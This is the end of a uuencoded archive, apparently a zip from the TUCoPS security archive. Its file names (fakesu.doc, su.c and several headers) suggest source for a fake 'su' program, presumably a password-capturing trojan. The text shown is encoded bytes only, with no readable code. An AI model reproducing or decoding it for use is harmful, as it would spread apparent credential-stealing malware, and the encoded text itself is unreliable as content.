MR$#^M$KVM?X/90L:C&][UR6>7I8D;'49:M'V[&:#IT+'"E<CKRA&T-8V69"C
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
MSQIJ]ZQ;6(5?!;MO`<"E0<]O<^V3\@A3N<)#.L8/2I?;'I^^=8*8ST]]M<00
MSH5WZ>4[\U^5[F2$&H6C>PYFVE[3=*!E7W3/7?[>1/Q_4$L!`A4#%`````@`
M+R)$(G7:3PX=#```.3````@`#````````0``0*2!`````&-O;F9I9RYH55@(
M`).C^#*Z#/<R4$L!`A4#%`````@`\WM%(H>YN^Z.!```M`D```<`#```````
M`0``0*2!4PP``&5R<F]R+FA56`@`IJ/X,CG\^#)02P$"%0,4````"`"Z3$4B
MU8;>3X("``#.!```"@`,```````!``!`I($6$0``9F%K97-U+F1O8U58"`!/
MJ?@R3ZGX,E!+`0(5`Q0````(`.-[12*[JQGC(@@``$X6```,``P```````$`
M`$"D@=`3``!L:6)G971T97AT+FA56`@`NZ/X,AG\^#)02P$"%0,4````"`#H
M>T4BNZL9XR((``!.%@``"0`,```````!``!`I($L'```;&EB:6YT;"YH55@(
M`,RC^#(C_/@R4$L!`A4#%`````@`(7Q%(CD1D)-P!P``5A(```0`#```````
M`0``0*2!A20``'-U+F-56`@`WJ/X,H[\^#)02P$"%0,4````"``[?$4B?@._
M]#0)``!/%P``"``,```````!``!`I($G+```<WES=&5M+FA56`@`[:/X,L+\
8^#)02P4&``````<`!P#0`0``D34`````
`
end

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH